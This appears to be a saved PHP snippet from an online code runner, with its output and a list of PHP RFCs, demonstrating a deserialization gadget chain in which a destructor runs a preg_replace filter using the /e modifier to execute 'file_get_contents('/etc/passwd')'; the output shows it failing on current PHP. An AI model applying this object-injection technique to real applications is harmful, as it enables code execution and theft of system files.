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@ 2014-10-29T19:01:52Z

<?php

  class Filter {
    protected $pattern;
    protected $repl;
    function __construct($pattern, $repl) {
      $this->pattern = $pattern;
      $this->repl = $repl;
    }
    function filter($data) {
      return preg_replace($this->pattern, $this->repl, $data);
    }
	function __destruct(){
	  echo "BYE BITCH\n";
	}
  };

  class Post {
    protected $title;
    protected $text;
    protected $filters;
    function __construct($title, $text, $filters) {
      $this->title = $title;
      $this->text = $text;
      $this->filters = $filters;
    }

    function get_title() {
      return htmlspecialchars($this->title);
    }

    function display_post() {
      $text = htmlspecialchars($this->text);
      foreach ($this->filters as $filter)
        $text = $filter->filter($text);
      return $text;
    }

    function __destruct() {
      // debugging stuff
      $s = "<!-- POST " . htmlspecialchars($this->title);
      $text = htmlspecialchars($this->text);
      echo 'WOAH ITS A FILTER '.'"'.$this->filters.'"';
      foreach ($this->filters as $filter)
        $text = $filter->filter($text);
      $s = $s . ": " . $text;
      $s = $s . " -->";
      echo $s;
    }
  };

  $standard_filter_set = [new Filter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>"),
                          new Filter("/\[b\](.*)\[\/b\]/i", "<b>\\1</b>"),
                          new Filter("/\[img\](.*)\[\/img\]/i", "<img src='\\1'>"),
                          new Filter("/\[br\]/i", "<br>")];

echo unserialize(json_decode(json_encode(serialize(new Post("a", "br", [new Filter("/br/e", "file_get_contents('/etc/passwd')"), new Filter("/moni/", "i repor u")])))));

Output for git.master, git.master_jit, rfc.property-hooks: Warning: Array to string conversion in /in/moEIh on line 43 WOAH ITS A FILTER "Array" Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/moEIh on line 11 Deprecated: preg_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /in/moEIh on line 11 BYE BITCH BYE BITCH Warning: Array to string conversion in /in/moEIh on line 43 WOAH ITS A FILTER "Array" Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/moEIh on line 11 Deprecated: preg_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /in/moEIh on line 11 BYE BITCH BYE BITCH Fatal error: Uncaught Error: Object of class Post could not be converted to string in /in/moEIh:57 Stack trace: #0 {main} thrown in /in/moEIh on line 57 BYE BITCH BYE BITCH BYE BITCH BYE BITCH
Process exited with code 255.

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2020-03-21 RFC: Is_Literal - declined
2020-12-04 Enumerations - included in PHP 8.1
2018-06-15 Typed Properties v2 - implemented in PHP 7.4
2016-08-12 Object typehint - included in PHP 7.2
2016-08-14 Arrow functions - withdrawn
2016-05-29 array_change_keys() - withdrawn
2016-04-19 Lexical scope support for anonymous classes - suspended
2016-04-17 Functional Interfaces - declined
2016-03-16 Typed Properties - superseded in favor of Typed Properties 2.0
2015-08-27 Callable Prototypes - declined
2015-05-01 Short Closures - declined / withdrawn in favor of Arrow Functions
2015-02-18 Scalar type hints v5 - included in PHP 7
2015-02-14 Union Types - declined
2013-09-22 Anonymous classes - included in PHP 7

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